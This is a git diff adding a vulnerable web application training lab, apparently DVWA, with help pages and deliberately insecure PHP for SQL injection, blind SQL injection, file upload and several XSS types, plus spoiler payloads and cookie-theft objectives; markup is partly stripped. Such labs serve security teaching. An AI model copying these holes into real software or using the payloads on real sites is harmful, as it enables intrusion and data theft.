+ + + High Level+This is very similar to the low level, however this time the attacker is inputting the value in a different manner. + The input values are being transferred to the vulnerable query via session variables using another page, rather than a direct GET request. +Spoiler: ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit.
+
+ + + Impossible Level+The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, + and has distinguish which sections are code, and the rest is data. + |
+
Reference:
+ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+
+ ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
+ break;
+ case SQLITE:
+ global $sqlite_db_connection;
+
+ $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
+ #print $query;
+ try {
+ $results = $sqlite_db_connection->query($query);
+ } catch (Exception $e) {
+ echo 'Caught exception: ' . $e->getMessage();
+ exit();
+ }
+
+ if ($results) {
+ while ($row = $results->fetchArray()) {
+ // Get values
+ $first = $row["first_name"];
+ $last = $row["last_name"];
+
+ // Feedback for end user
+ $html .= "ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+ } else {
+ echo "Error in fetch ".$sqlite_db->lastErrorMsg();
+ }
+ break;
+ }
+}
+
+?>
diff --git a/examples/dvwa/vulnerabilities/sqli/source/impossible.php b/examples/dvwa/vulnerabilities/sqli/source/impossible.php
new file mode 100644
index 0000000..ff9effc
--- /dev/null
+++ b/examples/dvwa/vulnerabilities/sqli/source/impossible.php
@@ -0,0 +1,65 @@
+prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
+ $data->bindParam( ':id', $id, PDO::PARAM_INT );
+ $data->execute();
+ $row = $data->fetch();
+
+ // Make sure only 1 result is returned
+ if( $data->rowCount() == 1 ) {
+ // Get values
+ $first = $row[ 'first_name' ];
+ $last = $row[ 'last_name' ];
+
+ // Feedback for end user
+ $html .= "ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+ break;
+ case SQLITE:
+ global $sqlite_db_connection;
+
+ $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
+ $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
+ $result = $stmt->execute();
+ $result->finalize();
+ if ($result !== false) {
+ // There is no way to get the number of rows returned
+ // This checks the number of columns (not rows) just
+ // as a precaution, but it won't stop someone dumping
+ // multiple rows and viewing them one at a time.
+
+ $num_columns = $result->numColumns();
+ if ($num_columns == 2) {
+ $row = $result->fetchArray();
+
+ // Get values
+ $first = $row[ 'first_name' ];
+ $last = $row[ 'last_name' ];
+
+ // Feedback for end user
+ $html .= "ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+ }
+
+ break;
+ }
+ }
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>
diff --git a/examples/dvwa/vulnerabilities/sqli/source/low.php b/examples/dvwa/vulnerabilities/sqli/source/low.php
new file mode 100644
index 0000000..6d84afc
--- /dev/null
+++ b/examples/dvwa/vulnerabilities/sqli/source/low.php
@@ -0,0 +1,56 @@
+' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' );
+
+ // Get results
+ while( $row = mysqli_fetch_assoc( $result ) ) {
+ // Get values
+ $first = $row["first_name"];
+ $last = $row["last_name"];
+
+ // Feedback for end user
+ $html .= "ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+
+ mysqli_close($GLOBALS["___mysqli_ston"]);
+ break;
+ case SQLITE:
+ global $sqlite_db_connection;
+
+ #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
+ #$sqlite_db_connection->enableExceptions(true);
+
+ $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
+ #print $query;
+ try {
+ $results = $sqlite_db_connection->query($query);
+ } catch (Exception $e) {
+ echo 'Caught exception: ' . $e->getMessage();
+ exit();
+ }
+
+ if ($results) {
+ while ($row = $results->fetchArray()) {
+ // Get values
+ $first = $row["first_name"];
+ $last = $row["last_name"];
+
+ // Feedback for end user
+ $html .= "ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+ } else {
+ echo "Error in fetch ".$sqlite_db->lastErrorMsg();
+ }
+ break;
+ }
+}
+
+?>
diff --git a/examples/dvwa/vulnerabilities/sqli/source/medium.php b/examples/dvwa/vulnerabilities/sqli/source/medium.php
new file mode 100644
index 0000000..7dab403
--- /dev/null
+++ b/examples/dvwa/vulnerabilities/sqli/source/medium.php
@@ -0,0 +1,59 @@
+' . mysqli_error($GLOBALS["___mysqli_ston"]) . '' );
+
+ // Get results
+ while( $row = mysqli_fetch_assoc( $result ) ) {
+ // Display values
+ $first = $row["first_name"];
+ $last = $row["last_name"];
+
+ // Feedback for end user
+ $html .= "ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+ break;
+ case SQLITE:
+ global $sqlite_db_connection;
+
+ $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
+ #print $query;
+ try {
+ $results = $sqlite_db_connection->query($query);
+ } catch (Exception $e) {
+ echo 'Caught exception: ' . $e->getMessage();
+ exit();
+ }
+
+ if ($results) {
+ while ($row = $results->fetchArray()) {
+ // Get values
+ $first = $row["first_name"];
+ $last = $row["last_name"];
+
+ // Feedback for end user
+ $html .= "ID: {$id}
First name: {$first}
Surname: {$last}";
+ }
+ } else {
+ echo "Error in fetch ".$sqlite_db->lastErrorMsg();
+ }
+ break;
+ }
+}
+
+// This is used later on in the index.php page
+// Setting it here so we can close the database connection in here like in the rest of the source scripts
+$query = "SELECT COUNT(*) FROM users;";
+$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); +$number_of_rows = mysqli_fetch_row( $result )[0]; + +mysqli_close($GLOBALS["___mysqli_ston"]); +?> diff --git a/examples/dvwa/vulnerabilities/sqli/test.php b/examples/dvwa/vulnerabilities/sqli/test.php new file mode 100644 index 0000000..aaadf8e --- /dev/null +++ b/examples/dvwa/vulnerabilities/sqli/test.php @@ -0,0 +1,14 @@ +"; +} +?> diff --git a/examples/dvwa/vulnerabilities/sqli_blind/cookie-input.php b/examples/dvwa/vulnerabilities/sqli_blind/cookie-input.php new file mode 100644 index 0000000..d4234ea --- /dev/null +++ b/examples/dvwa/vulnerabilities/sqli_blind/cookie-input.php @@ -0,0 +1,31 @@ +
+ About+When an attacker executes SQL injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL query's syntax is incorrect. + Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, + they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. + An attacker can still steal data by asking a series of True and False questions through SQL statements, and monitoring how the web application response + (valid entry retunred or 404 header set). + +"time based" injection method is often used when there is no visible feedback in how the page different in its response (hence its a blind attack). + This means the attacker will wait to see how long the page takes to response back. If it takes longer than normal, their query was successful. + ++ + Objective+Find the version of the SQL database software through a blind SQL attack. + ++ + Low Level+The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able + to execute any SQL query they wish. +Spoiler: ?id=1' AND sleep 5&Submit=Submit.
+
+ + + Medium Level+The medium level uses a form of SQL injection protection, with the function of + "". + However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered. + +The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form. +Spoiler: ?id=1 AND sleep 3&Submit=Submit.
+
+ + + High Level+This is very similar to the low level, however this time the attacker is inputting the value in a different manner. + The input values are being set on a different page, rather than a GET request. +Spoiler: ID: 1' AND sleep 10&Submit=Submit. + Spoiler: Should be able to cut out the middle man..+ + + + Impossible Level+The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, + and has distinguish which sections are code, and the rest is data. + |
+
Reference:
+User ID exists in the database.'; + } + else { + // Might sleep a random amount + if( rand( 0, 5 ) == 3 ) { + sleep( rand( 2, 4 ) ); + } + + // User wasn't found, so the page wasn't! + header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); + + // Feedback for end user + $html .= '
User ID is MISSING from the database.'; + } +} + +?> diff --git a/examples/dvwa/vulnerabilities/sqli_blind/source/impossible.php b/examples/dvwa/vulnerabilities/sqli_blind/source/impossible.php new file mode 100644 index 0000000..67ba79c --- /dev/null +++ b/examples/dvwa/vulnerabilities/sqli_blind/source/impossible.php @@ -0,0 +1,65 @@ +prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); + $data->bindParam( ':id', $id, PDO::PARAM_INT ); + $data->execute(); + + $exists = $data->rowCount(); + break; + case SQLITE: + global $sqlite_db_connection; + + $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' ); + $stmt->bindValue(':id',$id,SQLITE3_INTEGER); + $result = $stmt->execute(); + $result->finalize(); + if ($result !== false) { + // There is no way to get the number of rows returned + // This checks the number of columns (not rows) just + // as a precaution, but it won't stop someone dumping + // multiple rows and viewing them one at a time. + + $num_columns = $result->numColumns(); + if ($num_columns == 1) { + $row = $result->fetchArray(); + + $numrows = $row[ 'numrows' ]; + $exists = ($numrows == 1); + } + } + break; + } + + } + + // Get results + if ($exists) { + // Feedback for end user + $html .= '
User ID exists in the database.'; + } else { + // User wasn't found, so the page wasn't! + header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); + + // Feedback for end user + $html .= '
User ID is MISSING from the database.'; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/sqli_blind/source/low.php b/examples/dvwa/vulnerabilities/sqli_blind/source/low.php new file mode 100644 index 0000000..dd04a8e --- /dev/null +++ b/examples/dvwa/vulnerabilities/sqli_blind/source/low.php @@ -0,0 +1,57 @@ + 0); + } catch(Exception $e) { + $exists = false; + } + } + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); + break; + case SQLITE: + global $sqlite_db_connection; + + $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; + try { + $results = $sqlite_db_connection->query($query); + $row = $results->fetchArray(); + $exists = $row !== false; + } catch(Exception $e) { + $exists = false; + } + + break; + } + + if ($exists) { + // Feedback for end user + $html .= '
User ID exists in the database.'; + } else { + // User wasn't found, so the page wasn't! + header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); + + // Feedback for end user + $html .= '
User ID is MISSING from the database.'; + } + +} + +?> diff --git a/examples/dvwa/vulnerabilities/sqli_blind/source/medium.php b/examples/dvwa/vulnerabilities/sqli_blind/source/medium.php new file mode 100644 index 0000000..95b9a82 --- /dev/null +++ b/examples/dvwa/vulnerabilities/sqli_blind/source/medium.php @@ -0,0 +1,54 @@ + 0); // The '@' character suppresses errors + } catch(Exception $e) { + $exists = false; + } + } + + break; + case SQLITE: + global $sqlite_db_connection; + + $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; + try { + $results = $sqlite_db_connection->query($query); + $row = $results->fetchArray(); + $exists = $row !== false; + } catch(Exception $e) { + $exists = false; + } + break; + } + + if ($exists) { + // Feedback for end user + $html .= '
User ID exists in the database.'; + } else { + // Feedback for end user + $html .= '
User ID is MISSING from the database.'; + } +} + +?> diff --git a/examples/dvwa/vulnerabilities/upload/help/help.php b/examples/dvwa/vulnerabilities/upload/help/help.php new file mode 100644 index 0000000..1eebab4 --- /dev/null +++ b/examples/dvwa/vulnerabilities/upload/help/help.php @@ -0,0 +1,54 @@ +
+ About+Uploaded files represent a significant risk to web applications. The first step in many attacks is to get some code to the system to be attacked. + Then the attacker only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step. + +The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system, forwarding attacks to backend systems, + and simple defacement. It depends on what the application does with the uploaded file, including where it is stored. + ++ + Objective+Execute any PHP function of your choosing on the target system (such as + or ) thanks to this file upload vulnerability. + ++ + Low Level+Low level will not check the contents of the file being uploaded in any way. It relies only on trust. +Spoiler: Upload any valid PHP file with command in it.
+
+ + + Medium Level+When using the medium level, it will check the reported file type from the client when its being uploaded. +Spoiler: Worth looking for any restrictions within any "hidden" form fields.
+
+ + + High Level+Once the file has been received from the client, the server will try to resize any image that was included in the request. +Spoiler: need to link in another vulnerability, such as file inclusion.
+
+ + + Impossible Level+This will check everything from all the levels so far, as well then to re-encode the image. This will make a new image, therefore stripping + any "non-image" code (including metadata). + |
+
Reference:
+{$target_path} succesfully uploaded!";
+ }
+ }
+ else {
+ // Invalid file
+ $html .= 'Your image was not uploaded. We can only accept JPEG or PNG images.'; + } +} + +?> diff --git a/examples/dvwa/vulnerabilities/upload/source/impossible.php b/examples/dvwa/vulnerabilities/upload/source/impossible.php new file mode 100644 index 0000000..9196dc0 --- /dev/null +++ b/examples/dvwa/vulnerabilities/upload/source/impossible.php @@ -0,0 +1,65 @@ +{$target_file} succesfully uploaded!"; + } + else { + // No + $html .= '
Your image was not uploaded.'; + } + + // Delete any temp files + if( file_exists( $temp_file ) ) + unlink( $temp_file ); + } + else { + // Invalid file + $html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.'; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/examples/dvwa/vulnerabilities/upload/source/low.php b/examples/dvwa/vulnerabilities/upload/source/low.php new file mode 100644 index 0000000..85ffa08 --- /dev/null +++ b/examples/dvwa/vulnerabilities/upload/source/low.php @@ -0,0 +1,19 @@ +Your image was not uploaded.'; + } + else { + // Yes! + $html .= "
{$target_path} succesfully uploaded!";
+ }
+}
+
+?>
diff --git a/examples/dvwa/vulnerabilities/upload/source/medium.php b/examples/dvwa/vulnerabilities/upload/source/medium.php
new file mode 100644
index 0000000..bb90270
--- /dev/null
+++ b/examples/dvwa/vulnerabilities/upload/source/medium.php
@@ -0,0 +1,33 @@
+Your image was not uploaded.';
+ }
+ else {
+ // Yes!
+ $html .= "{$target_path} succesfully uploaded!";
+ }
+ }
+ else {
+ // Invalid file
+ $html .= 'Your image was not uploaded. We can only accept JPEG or PNG images.'; + } +} + +?> diff --git a/examples/dvwa/vulnerabilities/view_help.php b/examples/dvwa/vulnerabilities/view_help.php new file mode 100644 index 0000000..6523673 --- /dev/null +++ b/examples/dvwa/vulnerabilities/view_help.php @@ -0,0 +1,40 @@ +' . file_get_contents( DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/{$id}/help/help.php" ) . '' . file_get_contents( DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/{$id}/help/help.{$locale}.php" ) . 'Not Found"; +} + +$page[ 'body' ] .= " + + + +
" . highlight_string( $js_source, true ) . " |
+
" . highlight_string( $source, true ) . " |
+
Not found
"; +} + +dvwaSourceHtmlEcho( $page ); + +?> diff --git a/examples/dvwa/vulnerabilities/view_source_all.php b/examples/dvwa/vulnerabilities/view_source_all.php new file mode 100644 index 0000000..d42f512 --- /dev/null +++ b/examples/dvwa/vulnerabilities/view_source_all.php @@ -0,0 +1,125 @@ + +{$impsrc} |
+
{$highsrc} |
+
{$medsrc} |
+
{$lowsrc} |
+
Not found
"; +} + +dvwaSourceHtmlEcho($page); + +?> \ No newline at end of file diff --git a/examples/dvwa/vulnerabilities/weak_id/help/help.php b/examples/dvwa/vulnerabilities/weak_id/help/help.php new file mode 100644 index 0000000..e0087f4 --- /dev/null +++ b/examples/dvwa/vulnerabilities/weak_id/help/help.php @@ -0,0 +1,40 @@ +
+ About+Knowledge of a session ID is often the only thing required to access a site as a specific user after they have logged in, if that session ID is able to be calculated or easily guessed, then an attacker will have an easy way to gain access to user accounts without having to brute force passwords or find other vulnerabilities such as Cross-Site Scripting. + ++ + Objective+This module uses four different ways to set the dvwaSession cookie value, the objective of each level is to work out how the ID is generated and then infer the IDs of other system users. + ++ + Low Level+The cookie value should be very obviously predictable. + +Medium Level+The value looks a little more random than on low but if you collect a few you should start to see a pattern. + +High Level+First work out what format the value is in and then try to work out what is being used as the input to generate the values. +Extra flags are also being added to the cookie, this does not affect the challenge but highlights extra protections that can be added to protect the cookies. + + +Impossible Level+The cookie value should not be predictable at this level but feel free to try. +As well as the extra flags, the cookie is being tied to the domain and the path of the challenge. + |
+
Reference:
+Reference:
+
+ This page will set a new cookie called dvwaSession each time the button is clicked.
+
+ About+"Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. + XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, + to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output, + without validating or encoding it. + +An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, + and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other + sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page. + +DOM Based XSS is a special case of reflected where the JavaScript is hidden in the URL and pulled out by JavaScript in the page while it is rendering rather than being embedded in the page when it is served. This can make it stealthier than other attacks and WAFs or other protections which are reading the page body do not see any malicious content. + ++ + Objective+Run your own JavaScript in another user's browser, use this to steal the cookie of a logged in user. + ++ + Low Level+Low level will not check the requested input, before including it to be used in the output text. +Spoiler: =htmlentities ("/vulnerabilities/xss_d/?default=English")?>.
+
+ Medium Level+The developer has tried to add a simple pattern matching to remove any references to "<script" to disable any JavaScript. Find a way to run JavaScript without using the script tags. +Spoiler: You must first break out of the select block then you can add an image with an onerror event:
+
+ High Level+The developer is now white listing only the allowed languages, you must find a way to run your code without it going to the server. +Spoiler: The fragment section of a URL (anything after the # symbol) does not get sent to the server and so cannot be blocked. The bad JavaScript being used to render the page reads the content from it when creating the page.
+
+ Impossible Level+The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being executed. + |
+
Reference:
+Please choose a language:
+ + +
+ About+"Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. + XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, + to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output, + without validating or encoding it. + +An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, + and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other + sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page. + +Because its a reflected XSS, the malicious code is not stored in the remote web application, so requires some social engineering (such as a link via email/chat). + ++ + Objective+One way or another, steal the cookie of a logged in user. + ++ + Low Level+Low level will not check the requested input, before including it to be used in the output text. +Spoiler: ?name=<script>alert("XSS");</script>.
+
+ + + Medium Level+The developer has tried to add a simple pattern matching to remove any references to "<script>", to disable any JavaScript. +Spoiler: Its cAse sENSiTiVE.
+
+ + + High Level+The developer now believes they can disable all JavaScript by removing the pattern "<s*c*r*i*p*t". +Spoiler: HTML events.
+
+ + + Impossible Level+Using inbuilt PHP functions (such as ""), + its possible to escape any values which would alter the behaviour of the input. + |
+
Reference:
+Hello {$name}";
+}
+
+?>
diff --git a/examples/dvwa/vulnerabilities/xss_s/help/help.php b/examples/dvwa/vulnerabilities/xss_s/help/help.php
new file mode 100644
index 0000000..0bfd3b2
--- /dev/null
+++ b/examples/dvwa/vulnerabilities/xss_s/help/help.php
@@ -0,0 +1,56 @@
+
+ "Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. + XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, + to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output, + without validating or encoding it. + +An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, + and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other + sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page. + +The XSS is stored in the database. The XSS is permanent, until the database is reset or the payload is manually deleted. + ++ + Objective+Redirect everyone to a web page of your choosing. + ++ + Low Level+Low level will not check the requested input, before including it to be used in the output text. +Spoiler: Either name or message field: <script>alert("XSS");</script>.
+
+ + + Medium Level+The developer had added some protection, however hasn't done every field the same way. +Spoiler: name field: <sCriPt>alert("XSS");</sCriPt>.
+
+ + + High Level+The developer believe they have disabled all script usage by removing the pattern "<s*c*r*i*p*t". +Spoiler: HTML events.
+
+ + + Impossible Level+Using inbuilt PHP functions (such as ""), + its possible to escape any values which would alter the behaviour of the input. + |
+
Reference:
+' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + //mysql_close(); +} + +?>